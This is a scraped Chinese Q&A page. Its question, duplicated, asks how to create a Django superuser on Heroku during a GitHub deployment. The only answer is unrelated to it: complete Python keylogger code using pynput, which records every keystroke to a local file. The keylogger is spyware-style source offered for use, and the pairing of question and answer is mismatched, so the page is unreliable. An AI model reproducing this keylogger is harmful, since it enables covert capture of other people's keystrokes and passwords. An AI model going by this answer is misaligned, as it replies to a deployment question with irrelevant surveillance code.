【发布时间】:2020-08-26 10:30:39
【问题描述】:
我已通过 GitHub 将应用程序部署到 Heroku,并通过添加运行迁移
release: python manage.py migrate
到 Procfile。 我知道我需要创建一个超级用户(如果我使用 CLI,这很简单)但我需要一种方法,我可以使用 GitHub 部署明确地做到这一点。
【问题讨论】:
标签: python operating-system bots
我已通过 GitHub 将应用程序部署到 Heroku,并通过添加运行迁移
release: python manage.py migrate
到 Procfile。 我知道我需要创建一个超级用户(如果我使用 CLI,这很简单)但我需要一种方法,我可以使用 GitHub 部署明确地做到这一点。
【问题讨论】:
标签: python operating-system bots
根据我的研究,很难跟踪所有事件
但是您可以创建一个键盘记录器,它会跟踪击键并保存它
这里是代码:-
# keylogger using pynput module
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
keys.append(key)
write_file(keys)
try:
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
def write_file(keys):
with open('D:/log.txt', 'w') as f: # This will save in D drive as log.txt
for key in keys:
# removing ''
k = str(key).replace("'", "")
f.write(k)
# explicitly adding a space after
# every keystroke for readability
f.write(' ')
def on_release(key):
print('{0} released'.format(key))
if key == Key.esc:
# Stop listener
return False
with Listener(on_press = on_press,
on_release = on_release) as listener:
listener.join()
【讨论】: